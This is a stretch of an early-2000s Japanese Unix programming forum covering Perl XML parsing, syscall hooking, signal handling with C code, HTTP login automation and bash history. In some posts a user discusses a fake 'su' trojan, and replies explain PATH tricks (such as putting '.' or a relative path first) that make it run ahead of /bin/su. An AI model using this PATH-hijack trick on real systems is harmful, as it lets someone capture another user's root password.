出力ファイル例2:(順序を保存しないで抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
        <tag c>
            in3
        </tag>
    <tag b>
        in2
        in4
    </tag>
<tag a>
  in1
  in5
</tag>
    <tag e>
        in7
    </tag>
<tag d>
  in6
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

よろしくお願いします。

No. 2971 # ふくし [E-mail] 2002/12/05 (木) 20:32:07
補足です。
この tag というのは全部同じタグです。
ただオープンタグにかかれている a, b, ... という
アトリビュートが全部違います。

No. 2972 # ふくし [E-mail] 2002/12/05 (木) 23:16:22
さらに補足。(俺って説明下手だな、、;;;
ファイルには <tag> 以外のタグも存在します。
<aaa ???>〜</aaa>、<bbb ???>〜</bbb> などです。
その中で下の処理の対象になるのが <tag> だけということです。
<tag ???>〜</tag> の中に <xxx ???>〜</xxx> がある場合は、
それも抜いて書き出します。
問題の定義もなかなか奥が深い。

No. 2973 # 68user 2002/12/06 (金) 00:21:32
>>2969 kiki
シェルって何をしているか知っていますか? 簡単に言うと、ユーザが
入力した文字列を解析し、execve(2) を実行することです。

シェルのソースをいじっていいのならば、execve(2) を発行している
部分を探して、そこで su を実行しようとしているかどうかのチェックを
行えばよいのでは、という話です。

>>2970 ふくし
入力が XML なら、
    http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm#XML_DOM_NODE
の removeChild で一発なような気がします。

XML でないなら構文解析してスタックに積んで…といきたいところですが、
僕は軟弱なので
    - s|<tag .*?>.*?</tag>||
    - 削除したのが足りなかった
            (例えば <tag a>in1<tag b>in2<tag c>in3</tag> しか取れなかった)
        なら、追加であと 2個の </tag> をするため s|.*?</tag>.*?</tag>|| とする。
とします。

No. 2974 # 68user 2002/12/06 (金) 01:04:43
>>2967 68user
> 別の解としては、システムコールの発行を hook して安全性をチェック、
> というのもありますが、UNIX でこういうのってできるのかなーと思って
> 調べてみたら、なんかできるようですね。
>   http://www.caj.co.jp/support/etrustac_faq.htm
>     Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
> カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
> 置き換えているのか…(できるのかな?)

最近これに激しく惹かれているのですが、libc 置き換えで可能なんでしょうか。
詳しい人がいらっしゃったら教えてください。

全てのシステムコールは
      http://home.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/i386/sys/syscall.S?rev=1.8
を経由するんじゃないかと思っているのですが、もしそれが正しいなら
ここにチェック機能を入れた libc を用意して置き換えるか、あるいは
LD_PRELOAD で既存 libc に置き換えることは可能なのかなぁ。

どちらにせよアセンブラができないので、
      http://www.ascii.co.jp/books/detail/4-7561/4-7561-0213-1.html
を買って勉強かな…。

No. 2975 # ふくし 2002/12/06 (金) 10:29:54
>>2973 68user
さん、ありがとうございます。
まさに xml で、そのパッケージすごく便利そうなんですが
使い方がよくわかりません ;;;
でもべっかいの方でなんとなくできたのでもう少しまとめてから公開します。

No. 2976 # 68user 2002/12/06 (金) 11:02:25
>>2975 ふくし
別解でがんばるよりは、早めに XML::DOM の使い方を覚えた方が
幸せ度が高いかと。

# 僕は使ったことないですけど。

No. 2977 # UMA 2002/12/06 (金) 13:15:47
通りすがりのものですが・・・

システムコールをhookして安全性を云々というのは、
たとえば
        Systrace - Interactive Policy Generation for System Calls
        http://www.citi.umich.edu/u/provos/systrace/
こういったもののことでしょうか?
(OpenBSD, NetBSD にはマージされています)

No. 2978 # UMA 2002/12/06 (金) 13:17:35
X68000の、内臓フォントを利用するインターフェースを調べています。
フリーで有用な文書がありましたら教えていただけないでしょうか?
>識者

なお当方X68000に関する知識は皆無でございます。

No. 2979 # KENT1 2002/12/06 (金) 16:14:05
>>2960 68user様 報告が遅れまして申し訳ありません。
/usr/bin/time 実行コマンド >& 出力ファイル
を実行した結果うまくいきました。ありがとうございました。

No. 2980 # ふくし [E-mail] 2002/12/06 (金) 17:05:36
タグのパースの件です。
別解ですが、会社の若い者が作ったプログラムが無事動きました。

で、せっかくなので XML::DOM を入れようとしたら、
XML::Parser を入れよと言われたので、
XML::Parser を入れようとしたら、
expat を入れよと言われたので、
expat の tar.gz を解いて ./configure して Makefile を
#prefix = /usr/local
prefix = /henna_directory
として make したら(ぼくは管理者でないので)、
  gcc: unrecognized option `-R/henna_directory/lib'
といわれました。ここで止まっています。
ちなみに /henna_directory/lib というディレクトリはあります。
(ついでにいうと、bin も include も man も)
待て次号。;;;

No. 2981 # 68user 2002/12/06 (金) 22:59:42
>>2977 UMA
> システムコールをhookして安全性を云々というのは、
はい、そういうものを念頭に置いていました (が、ユーザランドで
できたらいいなと。無理なのかな)。

Systrace の存在は知りませんでしたが、これはとてもいいですねぇ。
素晴らしいです。

>>2978 UMA
68user's page で X68000 の疑問が解決したことは一度もなかったりします。
インタフェースって API ですか? (ではなさそうな気がしますが)。僕が記憶に
頼って書くと多分間違っているので、X68000 エミュレータ関係の掲示板で
聞くのが早いと思います。

>>2980 ふくし
まーいろいろありますが、がんばってインストールしてください。

あと、libwww-perl あたりもいれなきゃいけないのが perl の XML
モジュールのうざいところ。

No. 2982 # kiki 2002/12/07 (土) 02:16:59
>>2973 68user様
お返事ありがとうございます.kikiです.

丁寧なご説明ありがとうございました.
おかげで理解できました.ありがとうございます.

No. 2983 # 68user 2002/12/08 (日) 06:01:43
いつも忘れて調べなおすはめにおちいるのでここにメモメモ。

TeraTerm 経由の mule などで PageUp が効かない場合、
Windows\Program Files\TTERMPRO\KEYBOARD.CNF の
    Remove=329
を ; でコメントアウトし、その下に
    User1=329
を追加。さらにファイルの一番最後に
    User1=329,0,$1B[5~
を追加。

って、ちょっと検索してみたら、
    http://phe.phyas.aichi-edu.ac.jp/~cyamauch/mule.html
の対処と全然違ってますな。なんでアレで PageUp できるんだろう。

No. 2984 # SIGNAL 2002/12/12 (木) 18:51:54
OS: Solaris 2.5.1
プロセスの通知にシグナルを使っています。
これまで、SIGUSR1とSIGUSR2で間に合っていたのですが、
今回もう一つパターンの追加(SIGUSR3?)を行いたいのです。
そこで、質問なのですが
<signal.h>にシグナルを追加できるのでしょうか?
また、出来るとしたら注意しないといけない点や
影響を及ぼす範囲を教えて下さい。

よろしくお願いします。

No. 2985 # 68user 2002/12/13 (金) 12:45:23
>>2984 SIGNAL
シグナルの追加はカーネルを書き換えないと無理です。

シグナル以外の方法 (パイプ・共有メモリなど) で情報のやりとり
をするのが正解でしょう。

と偉そうなことをいってますが、シグナルが足りず SIGXCPU を
使って逃げたことはあります。

No. 2986 # koko 2002/12/16 (月) 14:34:40
親プロセスでforkした子プロセスの終了状態(終了コード)を、親プロセス
が認識する方法があれば情報提供をお願いします。

・親プロセスはwaitしません。
・子プロセスは同じものが複数生成されます。(順次生成)

ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、子プロセスにはできる限り修正を加えない方法を探しています。
理想は子プロセスの終了時にイベントが発生し、waitのように変数に結果
が格納されるようなものです。

No. 2987 # 68user 2002/12/18 (水) 08:51:46
>>2986 koko
> ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
> や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、
の方法を取らないのであれば、無理なんじゃないでしょうか。

No. 2988 # hsj 2002/12/18 (水) 14:58:58
>>2986 koko
> ・親プロセスはwaitしません。
親でSIGCHLDを拾ってwaitpid()のオプションWNOHANGで
チェックするのもダメですか?
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <sys/wait.h>

void handler(int sig)
{
        int pid,status,code;

        while((pid=waitpid(-1,&status,WNOHANG))>0)
        {
                if(WIFEXITED(status))
                {
                        code = WEXITSTATUS(status);
                        printf("child process:[%d] was exited with code:[%d]\n",pid,code);
                }
        }
}

int main(int argc,char *argv[])
{
        int i,pid,code;
        char buf[16];
        struct sigaction sa;

        if(argc>1)
        {
                code = atoi(argv[1]);
                srand(code+time(0));
                sleep(rand()%10);
                return code;
        }

        memset(&sa,0,sizeof(sa));
        sa.sa_flags = SA_NOCLDSTOP;
        sa.sa_handler = handler;
        sigaction(SIGCHLD,&sa,0);

        for(i=0;i<10;i++)
        {
                if((pid=fork())<0)
                {
                        perror("fork");
                        return -1;
                }
                if(pid)
                        continue;
                sprintf(buf,"%d",i);
                if(execl("./a.out","./a.out",buf,0)<0)
                {
                        perror("execl");
                        return -2;
                }
        }
        for(;;)
                sleep(1);
        return 0; /* never reaches */
}
--- snip ---
かなり適当ですが。

No. 2989 # koko 2002/12/19 (木) 08:42:04
>>2988 hsj
他のHPを調査をしている中で「waitpidで子プロセスの終了コードが取得できれば解決できそうだ。」というのは私も感じました。
試してみたいと思います。

>>2987 68user
今回は、既存の子プロセス側のソースコードにできるだけ手を入れないという条件があるのですが、良い案がない場合にはやはりパイプを使用する事に
なるかと思います。

ご回答頂き、ありがとうございました。

No. 2990 # 68user 2002/12/20 (金) 02:06:37
>>2986 koko
> ・親プロセスはwaitしません。
ってのは親プロセスにも手を入れたくないという意味かと思った
のですが、wait でブロックさせたくないという意図だったのですね。
読み違えておりました。

No. 2991 # Japper 2002/12/20 (金) 02:55:20
こんにちは
質問があってきました

Perlを使っていると
system関数やexec関数を使うようになりました
便利でとてもよいのですが
Root権限でコマンドが実行されているような気がします
くわしくはまだ確認していません。
また、CGIでファイルマネージャーを使っていますが
これも同じようにパスワードファイルなどを開かれるという欠点があります
全ディレクトリやファイルのパーミッションを000にすることはもちろんできませんし
一部だけのパーミッション設定もだめです
例)/homeを000にするが/home/userが777だとアクセスされてしまう

これらのことからセキュリティーホールとなっていてとても不安です
これらについての対処法はなにかないでしょうか?

No. 2992 # 68user 2002/12/20 (金) 03:08:40
>>2991 Japper
> Root権限でコマンドが実行されているような気がします
perl スクリプト中で
      print "$<\n";
      print "$>\n";
の結果のいずれかが 0 なら root 権限を得ています (が、おそらくは
勘違いではないかと思います)。

> これも同じようにパスワードファイルなどを開かれるという欠点があります
書きかけですが、
      http://x68000.startshop.co.jp/~68user/webcgi/cryptogram.html
が参考になるかもしれません。

No. 2993 # ruku [E-mail] 2002/12/20 (金) 13:27:36
初めまして!YAHOO!オークションのログインをプログラムで実行したいのですが、上手くいきません。ブラウザでの通信のlogをとり、プログラムを組んでいたのですが、どうしてもPOSTした後の3種類のクッキーがとれ
ないのです。上手くいけば下のような3種類のクッキー(個人情報なので***になっています)が返されるのですが、

・・・・・・・・・・ブラウザのlog・・・・・・・・・
<ブラウザのPOST>
POST /config/login?5934sjuoe8ci4 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Content-Length: 259
Pragma: no-cache
Cookie: B=cv85agsv02md9&b=2
Connection: keep-alive
Browser reload detected...
Posting 259 bytes...
.tries=1
.src=auc
.last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc
promo=
.intl=jp
.bypass=
.partner=
.u=cq4ce2ov02mdi
.v=0
.fUpdate=Y
hasMsgr=0
.chkP=Y
.done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus
login=********
passwd=***********

<レスポンス>
HTTP/1.1 302 Found
Date: Thu, 19 Dec 2002 05:31:58 GMT
P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie:****
Set-Cookie:****
Set-Cookie:****

・・・・・・・・・・・・・・・・・・・・・・・・・・・・・

このセッションがどうしても上手くいかず、3種のset-cookie
が取得できないのです。大変お忙しい中恐縮ですが、もしよろしければ、アドバイスをよろしくお願いします。とても見せれるプログラムではありませ
んが、下記に示します。

try{
    URL u = new URL("http://login.yahoo.co.jp/config/login?5934sjuoe8ci4");
    URLConnection uc = u.openConnection();
    uc.setRequestProperty("Cookie:","B=cv85agsv02md9&b=2);
    uc.setDoOutput(true);
    uc.setDoInput(true);
    
    OutputStreamWriter out = new OutputStreamWriter(uc.getOutputStream(), "EUC_JP");
    query.Encode3(".tries","1");
    query.Encode1(".src","auc");
    query.Encode1(".last","http://login.yahoo.co.jp/config/edit_auc");
    query.Encode1("promo","");    *query.Encode()はクエリー文字列にするための関数です。
    query.Encode1(".intl","jp");
    query.Encode1(".bypass","");
    query.Encode1(".partner","");
    query.Encode1(".u",data2);
    query.Encode1(".v","0");
    query.Encode1(".fUpdate","Y");
    query.Encode1("hasMsgr","0");
    query.Encode1(".chkP","Y");
    query.Encode1(".done","http://user.auctions.yahoo.co.jp/jp/show/mystatus");
    query.Encode1("login",ID);
    query.Encode1("passwd",PW);
    out.write(query.toString());
    out.write("\r\n");
    out.flush();
    out.close();
/////////////(1)//////////////////////////////
    for (int j = 0; ; j++) {
        String header = uc.getHeaderField(j);
        if (header == null) break;
        System.out.println(uc.getHeaderFieldKey(j) + ": " + header);
    }
}
catch (Exception a) {
    System.err.println(a);
}


ちなみに(1)で出力されたヘッダ情報は
null: HTTP/1.1 200 OK
Date: Thu, 19 Dec 2002 07:16:58 GMT
Refresh: 900; URL=http://www.yahoo.co.jp/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 05 Jan 1995 22:00:00 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: B=el2pemcv02sja&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/;
domain=.yahoo.co.jp

上記のレスポンスを取得してしまい、クッキーが取得できずに先に進めないのです。長くなってしまい、大変ご迷惑をお掛けしますがよろしくお願い致します。
では、失礼します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2994 # hsj 2002/12/21 (土) 10:45:27
>>2993 ruku
いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と
.uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを
POSTすれば行けるんじゃないでしょうか。
この手のwebアプリはログイン後の画面ではCookieだけでなく、
それ以外の手段でもユーザを一意に識別する何らかの値を持ちまわらせ、
Cookieの(そのものでなく大抵はセッションオブジェクトなりDBなりに
入れた)値とのクロスチェックでユーザを認証している場合があります。
YAHOO!オークションがどうなっているかは知りませんが、
その手の仕組みが組み込まれているんじゃないでしょうか。

No. 2995 # 68user 2002/12/21 (土) 22:50:15
>>2993 ruku
うまくいかないときのアプローチとしては、まずはやっぱり telnet とか
Socket で直接つなぐ方がいいんじゃないでしょうかね。

アクセスに成功する QUERY は知っているし、失敗する QUERY も
知っているわけで (よくわかってませんが、OutputStreamWriter に
細工をすればリクエストの生データが取れるんですよね? )

その 2つの内容をつきあわせて一つ一つチェックすると。ないとは
思いますが、もしかしたら USER_AGENT で制限かけてたりする
かもしれませんし。

No. 2996 # kiki 2002/12/22 (日) 18:25:54
おひさしぶりです。kikiです。前回はお世話になりました。
今回もお聞きしたいことがあり、書き込ませていただきました。

今、私はbash(2.04)をいじって、以下のことが
したいと思っているのです。それは

1.コマンドが実行された時間をそのコマンド履歴といっしょに
    特定のファイルに出力する。(.bash_historyに
    タイムスタンプをつける感じです。
2.特定のファイルにコマンド履歴が追加されるタイミングを
  そのコマンドが打ち込まれた直後になるようにする。
    
このようなことはbashのソースを書き換えればできるのでしょうか?
どうかご教授をよろしくお願い致します。

P.S.
history -w の様なことを自動的にできればいいのですが、
historyコマンドは、シェル自身のコマンドなので無理でしょうし。
うーん。

No. 2997 # ruku 2002/12/23 (月) 12:44:14
>>2994 hsj
貴重なアドバイスありがとうございます。いちおう.uやcookieの値はお書きしたプログラムの前で取得しているので問題はないと思うのですが・・・。これがなかなか上手くいかないのです。

>>2995 68user
ソケットで試してみます。貴重なアドバイスありがとうございました。

No. 2998 # ruku 2002/12/23 (月) 13:55:38
度々すみません。ブラウザの設定でcookieを無効にして再度logをとったら
プログラムと同じになりました。次にlogを示します。

+++GET 457+++
POST /config/login?2v1pmh3i6v229 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Content-Length: 259
Pragma: no-cache
Connection: keep-alive
Browser reload detected...
Posting 259 bytes...
.tries=1
.src=auc
.last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc
promo=
.intl=jp
.bypass=
.partner=
.u=5g07ercv0d4tr
.v=0
.fUpdate=Y
hasMsgr=0
.chkP=Y
.done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus
login=*************
passwd=*****************

+++RESP 457+++
HTTP/1.1 302 Found
Date: Mon, 23 Dec 2002 04:40:38 GMT
P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: ******
Set-Cookie: ******
Set-Cookie: ******
+++CLOSE 457+++

+++GET 458+++
GET /config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin
Accept-Language: ja
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: login.yahoo.co.jp
Pragma: no-cache
Connection: keep-alive
Browser reload detected...

+++RESP 458+++
HTTP/1.1 200 OK
Date: Mon, 23 Dec 2002 04:40:38 GMT
Refresh: 900; URL=http://www.yahoo.co.jp/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 05 Jan 1995 22:00:00 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=euc-jp
Set-Cookie: B=2m7te28v0d4u6&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp
+++CLOSE 458+++

cookieを無効にしても3種のcookieはとれるようなのです。しかも最後の
ヘッダの応答はプログラムでもとれているのです。ただ、POSTを送る処理
しかプログラムでは行っていないはずなのに最後のヘッダの応答を取得して
しまうのはどうしてでしょうか?もしよろしければアドバイスよろしくお願いします。もしかしたら応答ヘッダの取得する場所が悪いのでしょうか?

No. 2999 # hsj 2002/12/24 (火) 03:44:56
>>2998 ruku
先ほど試しにncで
> いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と
> .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを
> POSTすれば行けるんじゃないでしょうか。
をやってみたところ、問題なく3つのCookieが発行されました。
#ただし、最初のGETは/cofig/login?.src=aucに対して行いました。
なので、プログラムが正確に上記の事を行えば問題なく行けると思いますが・・・。

No. 3000 # 68user 2002/12/24 (火) 14:28:48
> 2996
> このようなことはbashのソースを書き換えればできるのでしょうか?
入力を解析し、プロセスを実行しているのは bash なので、ソースに手を
いれれば何でも可能です。

No. 3001 # kiki 2002/12/25 (水) 11:14:10
>3000 68user様
お返事ありがとうございます.kikiです.
やってみましたところ、なんとかできました。
ありがとうございました。

No. 3002 # koko 2002/12/25 (水) 15:21:54
C言語で複数のプロセスが同一のファイルに対してログを出力する処理を作成したいのですが、このような共有書き込み用のファイルを設ける方法としてUNIXでよくやる方法というものはあるでしょうか。
もちろん、定石でなくても良いです。
できれば、書き込み時に自分でファイルをロック、アンロックしない、要するにできるだけ楽をしたいです。
ログの書き込みは同時に発生する可能性があります。
Windowsであれば、共有書き込みでファイルを開く関数があるのですが...。

●処理イメージ
1.親プロセスでログファイルを開く。
2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。
3.全子プロセス終了後にログファイルを閉じる。

よろしくお願い致します。

No. 3003 # yuuji 2002/12/25 (水) 15:37:40
はじまめして
UNIXのファイルアクセスでつまづいています。
Aという、所有者がnobody のファイルがあるのですが、あるunixサーバでは
webというユーザからアクセス(名前変更)ができます。
ところが、同じOSの別のサーバにあるBという、所有者がnobodyのファイル
にはwebというユーザからアクセスできません。
nobodyのファイルはどのユーザでもアクセスできると認識しているのです
が、ソフトのインストールやセキュリティの設定などでアクセスできないようにすることが可能なのでしょうか?
どなたかご存知の方いらっしゃいましたら教えてください。

No. 3004 # Japper 2002/12/25 (水) 22:25:47
>>2992 68user

ご回答ありがとうございます
パスワード的なことはやはりcrypt関数を使うことで解決できそうな気がします

>> Root権限でコマンドが実行されているような気がします
>perl スクリプト中で
> print "$<\n";
> print "$>\n";
>の結果のいずれかが 0 なら root 権限を得ています

やはり両方とも 0 を返しました
このことからRoot権限を得ているのでしょうか?
Root権限を与えない方法はどのようにすればよいのでしょうか?

よろしくお願いします

No. 3005 # Eiichi 2002/12/26 (木) 10:45:40
> 3003 yuuji

WebサーバがApacheならsuEXECを使えばいいと思いますよ。
http://httpd.apache.org/docs/suexec.html

No. 3006 # ruku 2002/12/26 (木) 13:20:22
>>2999 hsj
ありがとうございます。わかりました。頑張ってみます。

No. 3007 # 68user 2002/12/27 (金) 01:33:01
>>3002 koko
> できれば、書き込み時に自分でファイルをロック、アンロックしない、
> 要するにできるだけ楽をしたいです。
これを第一に考えるなら syslog か、syslog-ng を使いましょう。

daemon を立ち上げておけないのなら、open で O_SHLOCK を使うとか
(ま、結局ロックしているわけですが)。

また、
> 1.親プロセスでログファイルを開く。
> 2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。
という形態であれば、普通は pipe(2) して、fork(2) して、子が親にデータを
渡し、親がログに書く、というふうになるでしょう。
      http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/links/link-check.pl?rev=HEAD&content-type=text/x-cvsweb-markup
は子が親に 1行だけデータを渡す例です。

あるいは親が名前付きパイプを作成し、子がそこに書き込むとか。

いずれにせよ、syslog が使えないなら、syslog 相当のものを
自作する必要はあります。

No. 3008 # 68user 2002/12/27 (金) 01:44:34
>>3003 yuuji
> nobodyのファイルはどのユーザでもアクセスできると認識して
> いるのですが
誤りです。nobody はただの一ユーザであって、所有者が nobody の
ファイルを扱えるかどうかは そのファイルのパーミッションと、ファイルが
置かれているディレクトリのパーミッションによります。

UNIX においては、誰よりも権限が高いユーザは存在しますが (root)、
誰よりも権限が低いユーザというのは存在しません。


>>3004 Japper
> このことからRoot権限を得ているのでしょうか?
そうです。

> Root権限を与えない方法はどのようにすればよいのでしょうか?
suExec の前に、設定を見直した方がよいでしょう。
  
もし apache ならば、あえてそういうふうに設定しない限り root
権限は得られません。そういう web サーバを使い続けることは
非常に恐いので、まっとうなインストール方法を勉強するか、
web サーバをインストールした人に何をしたのか聞いてみる
ことをお勧めします。

# 「デフォルトが root 権限で動く web サーバ」なら正常動作
# なんでしょうが、そんな web サーバは嫌だ。

No. 3009 # ELVIS 2002/12/31 (火) 22:10:26
こんにちは
もうすぐ2003年ですね
仕事でSolaris8をいじるようになって早くも4年目に突入です
まだまだ未熟者ですがよろしくお願いします

自宅では2001/01版のSolaris8を「WS440BX」で使ってるのですが
最近I845系のマシン(ペンティアム4系)にUPしようと考えるようになりました
当然ながらチップセットやディスクコントローラ、システムコントローラ等の
ドライバを入手する必要があるのですが、苦慮しています
新型機の候補としては「D845GALLY」あたりを考えているのですが
情報等あればよろしくお願いします

No. 3010 # しましま 2003/01/02 (木) 20:11:32
    EWSのデバイス情報(CPUのクロック数、メインメモリ)を知ることができる
UNIXコマンドがありましたら、教えて下さい。

No. 3011 # とむやむ 2003/01/04 (土) 16:51:43
perlでネットワークプログラムを試作してます。
echoをC/Sで動作する事は出来るようになりましたが、ファイルを
ネットワーク越しに転送するにはどうすればいいのでしょうか?
同じくperlによるC/Sです。

No. 3012 # HIGE 2003/01/06 (月) 12:01:19
はじめまして。
echoサーバーサンプルを参考にしてPerlでちょっとしたチャットサーバーなんかを作ってます。
そこでいきなり質問なんですが、PerlでBroken Pipeエラーを回避するようにできないでしょうか?
Broken Pipeとは存在しないソケットに対して書き込んでしまったときにでるエラーのようで、クライアントが強制切断してしまったときなどは回避できません。
どうにか皆様のお知恵をお借りできませんでしょうか。

No. 3013 # kiki 2003/01/06 (月) 18:58:04
あけましておめでとうございます。kikiです。
本年もよろしくお願い致します。

>>68user様
ずいぶんと古い話で申し訳ありませんが、
>>2956 の解決策をためそうとしましたところ、
1. PATH=../../../../../../../home/foo/bar:$PATH とする。
カレントディレクトリの階層があまりに深くなければ、これでいける。

が、どういう事を意味するのかわかりませんでした。
そして、これはどこで行うのでしょうか?
suトロイの実行前の準備としてでしょうか?
ご教授よろしくお願いします。

P.S.
PATH=.:$PATH
にしておくき、suトロイがおいてある場所で、suコマンドを打ち込むと
suトロイが実行され、もう一度suコマンドを打つと
しっかり/bin/suが実行されますが、
suトロイがおいてある場所以外で同じことをしようとすると
suトロイは実行されず、いきなり/bin/suが 実行されました。
コマンドを探す順番は、カレントディレクトリからということでしょうか。
うーん、調べてみます。

No. 3014 # 68user 2003/01/07 (火) 03:03:58
今年こそはちゃんと web を更新するぞ、と。

てなわけで、今年もよろしくお願いします。

>>3009 ELVIS
>>3010 しましま
少なくとも僕はわかりません。申し訳ない。

>>3011 とむやむ
> ファイルをネットワーク越しに転送するにはどうすればいいのでしょうか?
以下のやりとりが参考になるでしょうか。
>>2827 Tetsu
>>2828 68user
ftp クライアントと ftp サーバを作るもよし、自分でプロトコルを
決めるもよし、ということです。

>>3012 HIGE
> PerlでBroken Pipeエラーを回避するようにできないでしょうか?
SIGPIPE をキャッチしてください。使用例はこちら。
    http://x68000.startshop.co.jp/~68user/net/http-proxy.html

>>3013 kiki
> PATH=../../../../../../../home/foo/bar:$PATH とする。
カレントディレクトリが /dir1/dir2/dir3 であるとき、
      ../ は /dir1/dir2 です。
      ../../ は /dir1 です。
      ../../../ は / です。
      ../../../../ は / です。
      ../../../../../ は / です。
      ../../../../../home は /home です。
      ../../../../../home/foo は /home/foo です。
      ../../../../../home/foo/bar は /home/foo/bar です。
ってことです。

> PATH=.:$PATH
> コマンドを探す順番は、カレントディレクトリからということでしょうか。
. はカレントディレクトリですから。

No. 3015 # koko 2003/01/07 (火) 13:04:15
>>3007 68user
ご回答ありがとうございます。
やはり、ファイルに同時書き込みをするにはロック、もしくはそれに相当する制御は欠かせませんね。
素直にsyslogを使用すれば良いのですが都合でsyslogは使用できません。
頂いた参考URL等を参考にしながら対策を検討します。

No. 3016 # ありがとう [URL] 2003/01/07 (火) 14:34:53
★ \(^o^)v 大 発 見 !♪

                 〜♪ とっても 参考にさせて頂いて ♪

    ~~\(^o^)♪ 〜 夢 と 希望 が 叶いました〜♪ (^o^)/~~
                  
             ありがとう  

No. 3017 # ピョンタン [E-mail] 2003/01/07 (火) 16:40:47
もし、ご存知であれば教えてください。
ファイルの日付を比較して新しいほうのファイルを表示したいです。
サーバが異なる場所(ネットワークには接続できる)に、
それぞれファイルが存在するします。
同じマシンであれば、>find file1 -newer file2 -print
で表示されるのです。remshで実行しようとしてもうまくいきません。
ご教授お願いいたします。

No. 3018 # kenken 2003/01/09 (木) 00:58:50
AIX上でファイル内の先頭行と最終行を削除したいのですが
UNIXコマンドで行を指定して削除することはできないのでしょうか?
※C言語の処理内で行いたいのでsystem関数で可能な方法

もしご存知であれば教えてください。
よろしくお願いします。

No. 3019 # 68user 2003/01/09 (木) 09:34:49
>>3017 ピョンタン
remsh でリモートのファイルのタイムスタンプを表示して、ローカルの
方より若ければ rcp するか、とりあえず別のファイル名で rcp して、
ローカルで比較するか、てな感じで。

>>3018 kenken
> AIX上でファイル内の先頭行と最終行を削除したいのですが
      % tail +2 < file | ??? | tail +2 | ???
でいけた記憶があります。??? はファイルの内容を逆順にする
コマンドですが、なんだったっけなー。ど忘れしました。

      % cat -n file | tail +2 | sort -r | tail +2 | sort | sed 's/^.......//'
てな方法もあります。

まぁファイルサイズが大きいなら perl か awk でさくっと書いた方が
よいでしょう。

